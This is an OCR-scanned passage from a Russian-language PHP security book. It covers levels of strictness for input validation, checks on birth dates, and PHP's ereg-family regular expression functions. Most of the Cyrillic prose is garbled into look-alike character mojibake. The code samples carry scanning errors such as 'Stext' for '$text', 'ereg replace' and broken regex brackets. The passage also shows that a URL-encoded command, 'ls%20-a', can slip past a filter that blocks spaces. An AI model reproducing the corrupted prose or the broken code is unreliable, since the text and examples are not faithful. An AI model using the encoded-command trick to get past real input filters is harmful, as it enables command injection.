BOJIbL M Paspelliersl TONBKO OYKBbI M SHaKW NpenuHanus (Toyka w sansras).
B ciyuae nossieHus 3anpeiieHHoro cumBona GyAeT BuI3LIBATHCA (DYHKLMS
die(), n paGora cueHapus rpepserca.

2. Bropoit yposeHb, Gonee AEMOKPATHUYHBIH, SBHO 3aNPEIIACT TOABKO ONACHBIE
cumBoisl u Tern. TIpu 3ToM MoryT GbITh paspelersl GesonacHsie Terd, Takue
KdK <i>, <b> W T. /. Brupouem, Bymer nyume, eciau mojas3osareny GyayT ynor-
pebisiTh 3aMeHMTENH, W, HAmpUMep, [i] OyIeT MPOrpaMMHO 3AMEHATHCS Ha
<i>, [b] — Ha <b> W T.4. B 1akom ciyuae, eciu nossasercs sanpeilleHHbINd
CUMBOJI (KOTOPLIH BbI HE MOCYMTANM BO3IMOXHBIM 3ANPETUTh), BHINAETCS CO-
obuieHue ob ommubke, M pabora clieHAPHs NPepLIBaCTCs.
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3. Tperwnii ypoBeHb MOX0XK Ha BTOpoif, HO 6e3 coobuleruii of6 omubrax. Pabora
creHapus Gyaer TpoaomkeHa B moboM clydae, a OnacHbie CUMBONbI BHIpesa-
1OTCSL WIIW 3aMeHstioTesl Ha GesonacHblie aHalord. SToT yposeHb Gyaer noneseH
Ha ¢opymax, rae obwaiores nporpammuctel. Ecnm Oymyr sanmpeluessl Boe
omacHble CHMBOJBI, TO Ha (hopyMe B GONBIIMHCTBE CliyyaeB Helb3s Gyaer oc-
TABHTH COOBILEHME ¢ KOAOM NpOrpaMmsl.

4. PaspemieHsl Bce cHMBOJIB!. 3ayem HYXeH Takoil yposenn? Eciu Bbl yBepeHS!,
4yTo Mapamerp He Oyier nepenasaThes ONepauMoHHON cucreme WM orabpa-
xarbess Ha Web-cTpanuiie, To MOXHO paspeututs Bce cuMBonsl. M Bee xe,
A PEKOMEHIYI0 MCMOMb30BATL 3TOT YPOBEHb OYEHB AKKYPATHO M TOABKO
B Kpaituux caydasix. HecMoTps Ha To, 4TO Bce CHMBOJBI PaspelleHbl, POBEp-
Ka JaHHBIX JO/IKHA MPOU3BOJANTECS HA Ciydail HENpaBOMEPHOro HCMONL3OBA-
HUA TEroB.

BoamoxHo, 4To B Bawell 3anaye npuaeTCs BBOAMTH GOJblIEe KOMMYECTBO TPO-
MEXYTOYHEIX YPOBHEH, HO A HE PEKOMEHIYI0 ucroab3osarth Gonwlue 5, Jlyume
MOAM(HUNPYHTE YPOBHH oA CBOM MOTPeOHOCTH, WHAYE MOMAEPKKA CLEHAPHS
CTAHEeT CIIUILKOM TPYIOEMKOIA.

Masaiite paccMOTPUM TpHUMEp MOCHEAHErO ypoBHs. SIpkum npeTeHueHTOM HA
nonobHyI0 NpoBepKy sBnsieTcss mojie s BBona mapoms. Ytober maponb Gwur
CHIOXHBIM, BCE CMEUMANMCTH (M i MX TMOMAEPXKUBAIO) PEKOMEHAYIOT BKIIIOYATH
B HEro He TONMBKO YMehaa u Gyksbl, HO M cuMBoLl. [Mapoin peaKo HEMOMB3YIOTCA.
B CHCTEMHBIX (QYHKLUMAX, MTOITOMY 3[€Ch JOCTATOYHO 3allPETHTh TOIBLKO YINIOBHIE
KaBbIMKH, MpobGensl u CMMBON &.

IMouemy HeoGxomMMmoO 3anpewiars 3HAK MpoLeHTa, Beab OH Gesonacen? [emo
B TOM, 4YTO MPOCTO 3anpeTuTh npoben wiu Kakoi-mubo Apyrodl cuMBoi Malo.
B HekoTOphIX CIydasx Nerko MOXHO MCIONb30BaTh 3AMEHMTENL B BHIE KONA CHM-
sona. Hanpumep, kon npolena — %20 u, B ONPENCHCHHBIX CUTYALMAX, KOMAHAA
1s%20-a

HAEHTHYHA
1ls -a

B nepBoM ciywae npobena Her; €ro 3amMeHsieT MOCHEAOBATENLHOCTL $20, M BO3-
MOXEH BapMaHT, KOT/a Takas KoManja Gy/ieT BhUTO/IHEHA B CUCTEME KOPPEKTHO.

Hasopure Bce DyHKIMH, HANPUMED, TAK: TestParaml, [Jie N — 3T0 HOMED ypOB-
usi. Torna, 4roBsl nepeBecTH ONMH M3 NApaMeTPOB HA APYroit ypoBeHb, H0CTa-
TOYHO OyHeT TONLKO NOMeHATH UNdpy B UMEHU hyHKIMH,

Bropo#t ¥ TpeTwil ypoBeHB y Hac NOAYYMJIHCH AOCTATOMHO NEMOKPATHYHBLIMH,
W OHU SBIAIOTCH TMOTEHUMANBEHON npobnemoif ¢ ToukM speHust Ge3ormacHOCTH.
Yrobut npobnema He mpespaTHiach B peaibHOCTb, HEOOXOAWMO OTCIEXHWBaTh BCE
COBpeMEHHLIE METO/Ibl arak U 3apanee moauduuuposars Kon. He noxunaiitecs,
KOr[a Ball CAiT B3MOMAIOT.
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Ucnonsayiite ceou ¢yHKIMM LIS BCeX NAapaMeTpoB, KOTOPLIE BHI MMOJYy4YaeTe or
To/ib30BaTENeit, W JaXe TaM, rae Bsl YBEPEHb!, YTO HMYEro ONAcCHOI0 HE MOXeTr
npousoiiti, CerojiHsi ormacHocTH HeT, a 3aBTpa Bul MoauduuMpyereé Kon npo-
rpaMMBbl TAK, YTO VISl B3/IOMIIMKA OTKPOIOTCH BOopoTa ¢ Hamanucsio “[dobpo noxa-
noBatk". CKOMBKO pa3 MPUXOAWTCH BHUIETh COOGILEHWUS O TOM, YTO YA3BHMOCTbH
nosisunack B Bepcun 2.0, a B Bepcuu 1.0 ee He 6uu10, XOTH GYHKUMOHANBHOCTD
3TOH YACTH KOJA HE MeHsUlach, TONBKO HobaBuiaach onHa De3obumHas cTpouka,
paspylHBIIAS KPEnocTb.

C noMolblo yHWBEpCcaibHEIX (GYHKIMI NpPOBEPKH KOPPEKTHOCTH TapameTpoB
y1obHO BbIIONHATE obumime nposepku. Ja, oHu HanbGosee >ddexTHBHBI, HO He
3abbrBaliTe, YTO CyUIECTBYeT MHOXECTBO PAlIMYHBEIX ATAK, X OT BCEX He 3alln-
THIIBCS YHUBEpCATbHBIMM GyHKIMAMH. ECIM €CTh BO3MOXHOCTb MPOM3BECTH
Gosree TOYHYIO TIPOBEPKY, TO HEOOXOAMMO AeNaTh 3TO.

Honycrum, ¥ Bac ecTh nojie BBOJAA IUTS YKAsaHWs JaThl poxaeHus. Bnonwe no-
ruvyHO Oyzer MpoM3BecTH Hal MepeMeHHOW, Xpausulei aaty, chemyiolye npo-
BEPKH (MTOMHUMO TPOBEPKH HA HELOMYCTUMBIE CHMBOJIbI):

0 umncno pomkHo GeiTh He Gonbiue 31;

0 mecsit noKeH ObiTh He Gonbiue 12;

. O rop nomkeH Guith Gonbuwe 1930 (He mymaio, yTo y Bac GyayT MONBLIOBATENH
crapiue 75 ner) U MeHblle, YeM TeKyluas nara. Ecau fara poxueHus Kacaercs
MOCeTHTENs! caifTa, TO MOXHO [MPOBEpATb, YT00B! roj GbUI MEHbILE TeKyiei
IaTel MuHYyC 2 rofa, OTOMY YTO roaoBanblii peGeHOK Takke He Oyier BauruMm
MTOCETUTENEM.

MHorue 13 noo6HbIX MPOBEPOK BHITOIHHUTE C MOMOUILIO [AGTOHA MpaKTHYECKH
HEBO3MOXHO, TTO3TOMY MX HY)KHO PealM3oBaTh HOMOJHHUTEJLHBIMU OMEparopa-
MM if.

3.6. PerynapHbie BbipaXxeHns

Perynsipikie BblpaxeHus (regular expressions) — 5T0 JOCTATOYHO CHOXHAS, HO
uHTepecHas (QYHKUMOHAIbLHAA BO3MOXHOCTb, KOTOpas [03BOJSAET TPOUIBECTH
OCHOBHBIE M camble HeoOXOAMMBIC MPOBEPKH NMEPEMEHHLIX MM MPOH3BECTH Ma-
HUMYIAUMA Hal cTpokamu. PeryisipHbie BhIpaXeHHs NpencTasnsior coboif wab-
JIOH M MPHU3BAHbI NIPOBEPUTH, COOTBETCTBYET NN eMy cTpokd. CoBMECTHO ¢ Npo-
BEPKON MOXET MPON3BOAMTELCS BHIGOPKA MM 3aMeHA HANAEHHON MOACTPOKH.

Slapik PHP nomiepxusaeT [Ba THNA DPEry/spHLIX BRIPOKEHUH — CTAHAApTHbIE
POSIX u Perl. Oynkuuu st paGoThl ¢ TAKUMH BBIPAKEHUAMYU HCHONL3YIOTCS
pasHble, 1 Mbl paccMOTpUM 06a BapMaHTa CO3NAHWS W TIPUMEHEHHUs PEryisipHbIX
seipaxeHuif. Kakoil BeiGepere Bbl, 3aBUCHT OT JMYHBIX MPEANOYTeHUH, a A Hc-
noasayw oba, B 3aBHcMMOCTH OT cuTyaunu. Ho K Bompocy o nydiieMm sapuaHTe
MBI €11i¢ BEpHeMCs! B KOHLE 3Toi rnassl ( pasder 3.6.5).
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Tor caxr, uro PHP noanepxusaer Asa THna mablroHoB, ABASETCS HEOCTOPHMEIM
NPeUMyILECTBOM, MOTOMY YTO 5TO [IPEBPALLAET €ro B OYeHb MOLIHBI HHCTPY-
MeHT obecnieyerusi GesomacHocT, a GesonacHocTs He ObiBaeT upesMepHoit. He-
KOTOpBIE A3LIKH BOOOLIE HE MMEIOT TAKOH BOIMOXHOCTH, M €€ NMPUXOIMTCA pea-
JIH30BBIBATE CAMOCTOATEABHO € MNOMOWBIO (GYHKIMI WA MAHUMYIUMH Hal
ctpokami. B sToM cnyyae BospacTaeT BEPOSTHOCTb OWIMOKM B, peaIH3aLun mpo-
BEPOK, KOTOPOil XaKep HelnpeMeHHO BOCIOMbL3YeTCs.

3.6.1. ®yHKL UM perynapHbix aupaxeuuﬁ PHP

Nasaiite cHavaia paceMOTPiM (yHKLIMH, KOTOPEIE MOFYT HCIIONL30BATHCS COBME-
CTHO C PEry/ISIPHBIMH BLIDAKEHHAMH, @ 3aTeM yxXe uepeﬁneM K npaktuke. [po-
CTO HET CMBICITA YYWTHCS CTPOMTH BBIPAKEHUS, He 3Hasl, KAK UX MOXHO MCITOMNb~
30BATH.

DyHKumA ereg

MyHKUMA WLIET B CTPOKE COOTBETCTBHE PEry/sIpHOMY BhipaxeHuio. B obuem Bi-
[Ie OHa BBITJIAANT CIEAYIOIUM oGpaszom:

int ereg(
string pattemn,
string string
[, array regs] )
Y thyHKIUMM TpH napameTpa, nepBbie ABA M3 KOTOPBIX ABIAIOTCS 00s3aTeIbHBIMIA:
0 pattern — pEeryigpHOe BhIpAXKEHUE; .
O string — CTPOKA, B KOTOPOH MPOHCXOIUT MOHCK;

0O regs — NepeMeHHas, B KOTOPYIO Dyier [MOMELIEeH MACCUB HAWIEHHLIX 3HAYye-
uuit. Ecim perynsipHoe BeipakeHue pasbuTo Ha YacTH C [TOMOILBIO KPYIJIbix
ckoboK, To cTpoka pasbusaeTcd B COOTBETCTBHM € PETYISAPHBIM BEIPAKEHHEM
u noMetuaercs B maccuB. Hynesoll sneMeHT MaccHBa — KOMMS CTPOKM.

DyHKUUA eregi
DyHkunA eregi () MASHTHIHEA exeg (), HO NPH NMOMCKE HETYBCTBUTENLHA K Peri-
crpy Gyks. TlapaMeTpsl Te Xe cambie, MO3TOMY ONYCTHM PACCMOTPEHHE DYHKIUN.

®yHKuuna ereg_replace
Ora dyHKuMs noxoxa Ha (YHKUMIO preg_replace(), KOTOPYIO MBI BHIEIN

B pasdeae 2.9, TeM, YTO MIUET B CTPOKE PEIYIAPHOE BLIPAKEHHE M 3AMEHSIET €ro
HOBLIM 3HAYEHHEM:

int ereg replace(
string pattern,
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string replacement,
string string)
Y ¢yHKUMH TPU napamerpa: '
0 pattern — peryjsipHoe BhipaxeHHe;
O replacement — HOBOE 3HAYEHHE;
O string -?,crpolea, B KOTOPO#l IPOMCXOMT MOKCK.

DyHKuuA eregi_replace

DyHKIMA eregi_replace() MIEHTHYHA ereg_replacel(), HO MrHOPUpYET pe-
ricTp. IMapamertpst y obenx ¢yHKUH 011 HAKOBBL.

DyHkuus split
@yukinsa split() pasbubaer CTPOKY B COOTBETCTBUM C PEryIspHBIM BBIpAXEHW-
©M ¥ BO3BpalllaeT MaccHB CTpoK. B obiueM BHAE OHa BBIVISAIAT TAK:
array split|
string pattern,
string #txing .
[, int limit) )
[MocMoTpHM HA MapaMeTpsl (PYHKIWK:
O pattern — peryigpHoe BhIpaXeHue;
O string — CTPOKa, B KOTOPOMH MPOUCXOAHT MOMCK;
O limit — orpaHW4YeHne KOJIUYecTBa HAHIEHHBIX SHAYEHMIT.

DyHkuua spliti

@yHKIMA spliti() WIEHTHYHA split (), HO HEYYBCTBHTENEHA K perueTpy Gyks
BO BPEMS TOUCKA PETYISPHOTO BBIPAXEHUS. "

3.6.2. Ucnonb3oBaHue perynsapHbix BbipakeHunin PHP
PaccMorpum npocteifmmii ipamep, B Kotopom cumsonst "BI" B cTpoke aamerns-
worest Ha HTML-tern <g><1>:

Stext= "BI Hello world from PHE";

$newtext = eregi_replace("BI", “<B><I>", Stext);

echo ($newtext) ;

B BHae perynspHOro BbIpAXKEHMS MOXET BLICTYNATh KAACCHMYECKasi MOACTPOKAE,
KOTOPYIO HYXHO HAWTH.



146 lnasa 3

Yenoxuum 3anagy. JonyeTiM, YTo HaM HYXHO Haiiti nonctpoky "BI" wan "IB". Lm
3TOTO MOXHO Pa3AETHTh HCKOMBIE MOACTPOKH CHMBOJIOM BEPTHKANBLHOMN YepThl:
$text= "BI Hello world from PHP';

$newtext = eregi_replace("BI|IB", "<B><I>", Stext);

echo ($newtext) ;

BeprukansHag yepra BeicTymaer B ponm normueckoro WJIM, u dynxums winer
moboe 13 3HaYeHH cIeBa MW CIpABa OT YepThl. TAKHM CHOcOBOM MOXHO pas-
JEJTHTE HeCKOMBKO 3HA4YeHWi, Hanmpumep:

Stext= "BI IB IBB Hello world from PHP";

$newtext = eregi_replace("BI|IB|IBB", 'replaced”, $text);

echo ($newtext) ;

Ecim Heobxoaumo yKasarh OnpeieieHHbe CHMBOILI, TO 3TO JGNAETCS B KBaJpaT-
HBIX ckoOkax. Hampumep, Bbl XoTure HaiiTH niobuie uncna or 0 mo 9. Jydmum
BapHaHTOM Oyaer HamKucaTh CASAYIOLIee PerysipHOe BhIpaAXeHHWe: [0123456789].
A eciu HyxHbl Bce Oyksbi? He Oynem e MBI MEpeUHCHATE UX BCE B KBAAPATHLIX
ckobkax. KoHeyHo, Her., JocTaro¥HO yKa3aTk MEepBEIi CMMBON W, Yepe3 THUpe,
nocnenHuit. Takas sanuch Oyner cOOTBETCTBOBATH 3anmucH "or ¥ no". Hanpumep,
4ro0bl PeryisipHoe BBIPAXEHHE COOTBETCTBOBANO MoGoH UMdpe, MOXHO HAmu-
cartb [0-9], a yToBBl OHO COOTBETCTBOBANO /TIOOOMY CHMBOIY JIATMHCKOrO anda-
BUTA, C/eXyeT Hamucarh (a-z). Ho mocnenHee BupaxeHue ONpenesieT TONBKO
nponucHbie 6yksbl. YToOsl BIIIOYKUTE €lle U 3ariaBHble, MHIeM [a-zA-2].

B xBampatHBIX cKOOKax Mbl TepevyHcIsgeM HeoOXonMMble CHMBOMBI WIH QHANA30-
HBI, 4 MOXHO W TO ¥ Jpyroe ofHoBpemeHHo. Hanpumep, creayoiliee BhipaxeHue
unter mobylo GykBy JAaTHHcKoro amngasura, undpy WM CHUMBOJBI NOTYEpPKUBa-
HHS, THpE U npobena:

[0-9a-zA-Z~_ ]

B HeKOTOpHIX cHUTYaUMsX Mpolle YKasarb, YTO paspellieHo, YeM NepedyncnsTs 10,
yTO 3anpelleHo, B atoMm cayyae nepes NnocienoBaTeIbHOCTHI0 CUMBOJIOB CTABUM .
Hanpumep, cieayiomee BeipaxeHue paspeuaer sce 6ykssl, kpome F u I: [~rJ].
Crenyroumit xon samensier Jmobsie undpsl Ha Gyksy X:

$text= "99f17s87";

Snewtext = ereg_replace("[0-9]", "X", Stext):

echo (Snewtext) ;

B pesynbrare cTpoka npeBpaTHTCS B XXEXXsXX.

PaccMotpum ewe npumep. JonycriM, 4To HYXHO 3aMeHUTh Ha "XX" TO/NBKO IBE
NIOC/IEOBATE/ILHO CTOSIINX LHDPBI, ecan 5™H LUKHdpbl obpasylor uMcno mMexee 50.
Mg 3roro HEOGXOAMMO MCHONIb30BaThL WAGMOH: [0-4) [0-9]:

Stext= "99f17s87"; _
Snewtext = ereg replace("[0-4][0-9]", "XX", S$text);
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Kaxnas kpanparHas ckobka omuceiaer omus cumson. Ilepsoit ckobke coorser-
crayer sobaa uudpa or 0 1o 4, a Bropoii — uudpa or 0 g0 9. Takum obpaszom,
MHHHMAILHOE YHCIIO, COOTReTcTBYIOIee wabnony, Gyner 00, a MakcumansHoe — 49.
B wamem mpumepe B 3TOT AMANa3oH nonagaer yueno 17,

HHorna posHuKaer HeoOXOMMMOCTL YNPABAATE KOJMYSCTBOM I1OBTOPAGMBIX CHM-
BooB. Hanpumep, ecnu Hac HHTepecyloT CTPOKH, B KOTOphIX GyKBa A BCTpeyaer-
csl Xorst OBl OJMH Pas, TO MOXHO HAIMMCATh PEryIAPHOE BuIPAKEHHE A+. 3HAK
Tnoca yKaseiBaeT Ha HeoBXOMUMOCTE TIPUCYTCTBII 'ﬁ'yxhﬁ': A xomsi b1 OtHH pas.

Ecau nocie cumMBosia yKasarh 38e3ouKy (+*), TO 9T0 Gyne'r 03HAYATD, YTO CHMBOJ
MOXET BCTPeYarscst JioGoe KOMMYECTBO pas WiH OTCyTcTBOBaTh BoOOMIe. Eciu
HYXHO, 4TOOBL CUMBON MPHCYTCTBOBAN B CTPOKE He Gosee OfHOrO pasa WiH Hu
pasy, TO CToNb3yliTe 3HAK BoTipoca. Hanpumep, 2.

MoxHo 1 Gollee TOHKO YNpaBiATh KONHYECTBOM HeOGXOmHMBIX chmBonos. s
3TOFO MTOC/TE CHMBOIA HCTIONB3YIOTCS (PUTYPHBIE CKOOKH CENYIONEro BUa:

{sonungnal, [Maxcin] ] )

TepBerit mapaMeTp — MUHUMATBHOE KONMYECTBO BXOXIEHMI cuMBoOna, a BTO-
poit — MakcumaibHoe. Hanpumep, cieayioliee BeIpaXeHHe COOTBETCTBYET CTPO-
Ke, B KoTopoif Gyksa A BcTpevaercs oT 2 10 5 pas: A{2,5}.

Ecnu sansras u Bropoil napamerp B GUIypHbIX cKOBKax OMyLeHbl, TO peryisp-
HOMY BBIPOXEHUIO Oy/eT COOTBETCTBOBATh CTPOKA, B KOTOPOI yKa3aHHBII CHMBON
BCTPEYAETCs CTONBKO Pas, CKONBbKO MokasaHo B napamerpe. Hanpumep, cieayio-
lee pery/iipHoe BeIPAXEHHE COOTBETCTBYET TpeM OykpaM A: A(3}.

Ecnu B ckoBKax orcyTcTByeT BTOpOIl NMapameTp, HO NPHCYTCTBYeT 3amnaTtasd, To
CHMBONl JOJDKEH BCTPEMATHCs B CTPOKE He MEHBIE MWHUMATBHOTO KONMYECTBa
pas, Ho Ge3 orpanuvenus. Hanpumep, cieayiouiee perysipHoe BLIPOXKEHHE COOT-
BETCTBYET CTPOKE, B Koropoii nmeercs 5 u Gonee Gyks A: A(S, ).

PaccMoTpuM npumep:

$text= "2511111111%; :

Snewtext = ereg replace("51{4,}", "XX*, $text);

3necs Ml uiem B erpoke "2511111111"Y cumBon "5", 3a KoTOpEIM CleAyeT moboe
KOZIMYecTBO eauHnl, Sombinee win pasHoe 4. HaiizeHnas crpoka sameHsiercs asy-
ms cumMBosiami “X". B 1aHHOM NpuMepe Ha BRIXOE Mbl HOXyuMM CTPoKy "2XX".

Querb wHTEPECHOro sdidherra MoKHO n06HTHCA ¢ TIOMOLLBI cKoGok. domycTim,
4TO HYXHO HaliTit GyKBy A, 3d KOTOpOiIf MOXET MATH (a MOXeT, ¥ HeT) mocHexo-
paresbHOCTE cuMBonos "bed". st 3Toro muuieM HyXHyio GYKBY, a 3ateM B Kpyr-
JIBIX ¢KOBGKAX yKaselBaeM BO3MOXHYIO I10C/TeN0BaTeIBHOCT CHMBOJIOB! A (bed) .

Yro Xe WHTepecHOTo B ckobkax? PaccMorpum cieayiomiuil npumep, B KOTOPOM
¢ NOMOIMBIO (PYHKUMK ereg() narta pasbuBaeTcs HA COCTABIsIONIME, A 3A0IHO
YBUIOMM HA NPaKTHKe, KaK paborars ¢ 310l (yHKumed:

Sdate= "01/08/2005";
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$newtext = ereg("([0-8]{1,;2})/([0-3]{1, 2})/{10 9]{2.,4}) ",
$date, Sregs);

print ("<P> Param 0 = $regs[0]");

print ("<P>Param 1 = Sregs(l1"):

print ("<P>Param 2 = Sregs([2]");

print("<P>Param 3 = Sregs(3]");

B nepemeHHyI0 $date 3amuchiBaeM MpoM3BOIbHYIO aary. Cheaywouwei ctpoukoii
MbI pasbuBaeM STY AaTy Ha COCTARIAIONIME C NOMOUBIO GYHKUMU ereg(). [a-
BafTe NPOAHANN3UPYEM PeryisipHoe Bipaxerue. Ui yaoGersa Gysem paccMar-
pHBaTh €ro no 4YacTAm. B nepbix Kpyrieix ckobkax ykasaHo ([0-9](1,2}):
B KBAZPATHBIX CKOBGKAX MOKA3AHO, 4TO, MbI uimem wucio ot 0 10 9. 3arem B ¢u-
rypHbIX CKODKAX yKas3bIBAeTCS KOJNHYecTBO nosropenuil wudpst. s garsl u Ho-
Mepa Mecsna Moxer norpeGosateest oT | no 2 mudp.

Bropbie kpyr/ibie CKOOKH ONMCHIBAIOT MECSII, # 3TO ONHUCAHHE MAEHTHYHO YHCIY.
B nocnensux ckoBKax ONMMCHIBAETCH IOA, M TYT KONWYECTBO MOBTOpeHHi wmbp
ot 2 10 4. Mexay cKoOKaMu cTOMT 3HaK-pasienuTeshb JaThl, T. €. CH3IIL.

[Tocne pasbueHusi Ha SKpaH BEIBOAWTCS COAEPKUMOE MaccHBa, KOTOPBIN nepema-
BAJICA B TIOCJIEHEM [TapameTpe:

01/09/2005

Param 1 = 01

Param 2 = 09

Param 3 = 2005

Param 0

3pech BUIHO, 9TO. HYNEBOH SAEMEHT MacCHBA — KON pa3bUBaeMOil CTPOKMK.
OcranbHbie INEMEHTH — 3T0 cocrapingionne marsl. PyHKUKS ereg() pasduna
JIaTy Ha TPH COCTABMSIOIIAE B COOTBETCTBUH ¢ PACCTABACHHBIMU KPYIJIBIMH CKOG-
xamu. Bce, urto BHe atux ckobok (casun), Guimo oTépoiieHo.

Taxoe onmcaHme [AaThi He COBCEM KOPPEKTHO, MOTOMY YTO MBI JIETKO MOXEM Ha-

nucarh cenyouyio mary: 99/99/9999. Ho ato HeponycTmo, Beib YMCIO He MO-
XeT Owre Gonbwe 31, a Mecsiit He MoXeT Guith Gonpiie 12. Bonee KoppekTHuIM

Oyzer ciemyoliece peryasipHoe BeIpaXeHue (npumep nokaszan i Gopmara
MM/AO/TTTT):

([11?10-9))/([1~3}2([1-9])/(20[0~-9] [0~9])

Teneps Mecsily cooTBeTCTBYET Cleiylouiee Bhipaxenue: [1]7(0-9]. Yrobu mo-
HATH €10, HYKHO pasbuThk ero Ha IBe YacTH: ’

O [11? — o3HAYAeT, YTO B HAYAIE MOXET WATH eAMHHMLA.

0O (0-9) — Bropoe YHeno MoXer GoiTh oT HyNs 1o 9.

Takoe BhIp@KeHHME YKe Jyduie, MOTOMY YTO MAKCHMANBHOE 3HAYEHME, KoTopoe

MoOXHO Gymer momectuts B marty: 19/39/2099. Bro 6amxke K AeHCTBUTENLHOCTH,
XOTA TOXE HAPYIIAET EOCTHOCTE JAThI.
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EcTe eme HeckoNbKO CHMBOJIOB, KOTOPbIE MOSBONAT HAM CHENaTh PEryaapHoe
Bhipaxenue Gonee yuusepcansHbiM. K TAKUM CHMBOIAM OTHOCHTCA:

O Touka — samenser moboi onHouHkl cumBoi. [JonycTHM, 4TO BEl He 3HaeTe,
KaK IMUUIEeTCs cIoBO — Seript Wi skript (Bbl coMHesaerech Bo Bropoit Gykse).
IMpobnema pemaercs 3aMeHOH cOMHUTEIBHOM BYKBbLI Ha Touky. B 3toM cnyuae
B pesyJipTar nonaayt obe CTpoKH,

O ecan HYXHO yKasarb, YT0 5yxm NO/DKHBL OBITh B HaYyane CTPOKH, TO Mepell HH-
MH HYXHO noctaButh cumson “. Hampuwmep, caenyiolee perysipHOe BhIpaxe-
Hue OyAeT COOTBETCTBOBATE BEEM CTPOKAM, HAYMHAIOUIMMCA Ha OykBy A: ~A;

(0 3Hak joiapa yKassiBaeT Ha KoHen cTpoku. Hanpumep, cregyiomee peryispHoe
BRIDDKEHUE COOTBETCTBYET JIIOGOMY CIIOBY, KOTOPOE 3aKAHUMBAETCS HA Z: z§.

Kag Bunure, B peryJIsipHbIX BEIPAKCHUAX TOCTATOYHO MHOTO CHUMBOJIOB, KOTOPBIE
ApgoTes cayxebusiMu. Jonyctum, uyto y Hac ects crpoka: "[B}Hello]/B] world
from [B]JPHP[/B]". Kak 3ameHHTs NOCHENOBATENLHOCTL CHMBONIOB [B] Ha
HTML-rer <B>? Ecitm Hanucarh clenylonil Ko, To HUYero He BIALET;

Stext= "[B]Hello[/B) world from [B]PHP[/B]";
$newtext = ereg_replace("[B]", "<B>", Stext);

Peryngpuoe BoipaxeHue [B] mpocro coorsercryer Oykse B, a keanparHbie
cKOBKH BOCHPHHUMAIOTCS KAK ciyxebHble cuMmBoabl. YToBsl oHNM TaKKe yyacTBo-
BN B MOMCKE, HEODXOAHMO Mepell Kaxiol U3 HHX nocraBuTh 3Hak cidu. Che-
Ay KO YKe YAaYHO MPOU3BENET BCe HEOOXOAMMBIE 3aMEHbI:

$text= "[B]Hella[/B) world from [B]PHP[/B}";
$Snewtext = ereg replace("\[B\]", "<B>", S$text);
$newtext = ereg replace("\[/B\]l", "</B>", Snewtext);
echo ($newtext);

Sl He 3pa npusen Takoil npumep, Bedb B MHTepHETE 0Y€Hb YACTO MCMONBL3YIOTCH
TErM B KBA[PAaTHBIX CKOOKAX BMECTO YIJIOBbIX, @ IOTOM KBAAPATHBIE CKOGKHU
NPOrpaMMHO MOAMEHSIOTCS YITOBBIMH. 3auem? ,E[t:no B TOM, YTO MOJIb30BATENIO
WHOFJA HYXHO JIaTh BO3MOXHOCTE BBUIEATH IIpHTAMM MIM CTHISAMM Onpeie-
JieHHBIe y4acTku Tekerd. s STOro NpUXOLMTCHA paspeluaTh YIIOBLIE CKOOKM,
ytobbl MONB30BaTENs MOT cTaBuTh Tern. Ho rie rapanTusi, 4to oH Oymer npume-
HATH TOJBKO paspemenHbie KoHeTpykunn? Kak sanperuts see Teru, xpome ¢op-
MarupoBaHus?

OTIUYHBIA BaApHAHT — MCMOAL30BATE BMECTO YIMOBBLIX CKODOK 4T0-TO HHOE, Ha-
npuMep, KsaaparHbie ckoGku M samensTs ux Ha HTML-tern nporpammuo. Ta-
KUM 00paioM, 3anpelieHHBIMI BYIYT Bce TErW, a paspelieHHLIMH — TONBKO Te
3aMEHHUTENH, KOTOPbIE Bbl Peali30BalH NPOrPaMMHO,

Teneps y Hac pocrarouHo wuopmauuu, 4robel cosfiate kakoe-HuOGYAL Gonee
WHTEPECHOE PEeryaspHo¢ BeipaxeHue. PaceMorpuM azpec 3MeKTPOHHON MOYTHI
KaK JIOCTATOYHO TIPOCTOM, HO O4EHb MHTepecHbIil pHMep.
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Jns Hayana HeoBXoAMMO MOHATb, KAKHE CHMBOJIbI MOXHO HCIONB30BaTh B CTPO-
ke. B anextpoHHOM azpece MoryT OuiTh mobuie OYKBEI NaTMHCKOro amgasuTa,
undpsl, noaYepkuBaHue, THpe MaM Toukd. Takum obpasom, peryisipHoe Bbipa-
kerue GyneT BeIMIAAETh CllenyomuM obpasom:

~([a-zA-Z0-9X._\~]+@[a-zA-20-9\._\=]1+(\. [a-2A-Z0=9] +) +) *$
Yrobsl npoue 6su10 MoHATH WabnoH, Aasaiite ero pasbepeM Mo YacTAM:

O ~(la-zA-Z0-9\._~]+ — B HayaJle CTPOKM [0 CHMBOJA @ MIET WM NOIb3oBa-
TENSI [TOYTOBOTrO SAUIMKA. 31ech MOryT ObiTh N0GBIE paspelleHHbIe CHMBOEL,
HO MPU 3TOM JOMKHO MOMYSHTHCS MMsL X015 GBI U3 OIHOrO CHMBOJA, NOITOMY
B KOHIIE YKasaH 3HaK +;

O [a-zA-Z0-9\._-1+ — MMS CepBepd, KOTOpOe HeT Mocje CUMBOMA @, TaKke
00A3AHO MPUCYTCTBOBATH, 1 OHO JIOJDKHO COACPXKATH TE XKE CHMBOJILI, O3TOMY
3Td YaCTh AHANOTHYHA MMEHM IMOTH30BATEs ]

O (\.[a-zA-Z0-9]+)*$ — WM JOMEHA. 31ech MOTYT OhITh LUGPE U OyKBHI
B WnrepHere mul paGoraeM ¢ GYKBEHHBIMM MMEHAMY JIOMEHOB, HO B JIOKalb-
HBIX CETAX WHOTAA Berpevaiorest ¥ udposbie. [Tpu 3ToM WMs oMeEHa SBASET-
cs HeobsA3aTeIbHBIM, H 06 5TOM FOBOPHT CHMBOM *.

Kak Bumute, MCIIONBIOBATh PETYISPHBIE BEIPOKEHHS HE TAK yX H TpyaHo. Ipo-
creifiine WAbIOHBI MOXHO CO3[aTh AOCTATOUHO GBICTPO, XOTS HAL CIOXHBIMU
MPHOETCS MONOTETh, ¥ AAKE €CTh BOIMOXKHOCTb OLIMOHTHCS, UTO MOXET CKa3aTh-
ca Ha GesonacHoeTd cueHapus. Yrobbl o6aervuTh XKWU3Hb MPOrpaMMUCTAM,
8 PHP ecTb Kiaccsl peryasipHbIX BEIPAXEHMIl, KOTOPbIE COOTBETCTBYIOT HanGonee
4ACTO HCMONb3yeMbIM 1abnoHaM, PaccMOTpUM Takue BBIPAXKEHWUS:

O [[:digit:]] — cOOTBETCTBYeT NIOOBIM LH(paM, T. €. SIBISETCA IKBHBAIEHTOM
[0-9]]

O ((:alpha:]] — coorsercrByer MO6bIM OykBaM, T. €. ABISETCHA 3KBUBAJICHTOM
PeryiisipHoro BBIpAKEHUS [A-Za-z]}

O [f:alnum:]] — COOTBETCTBYET JIOGLIM nyaam uiu undpam, T. e. sBaETCH
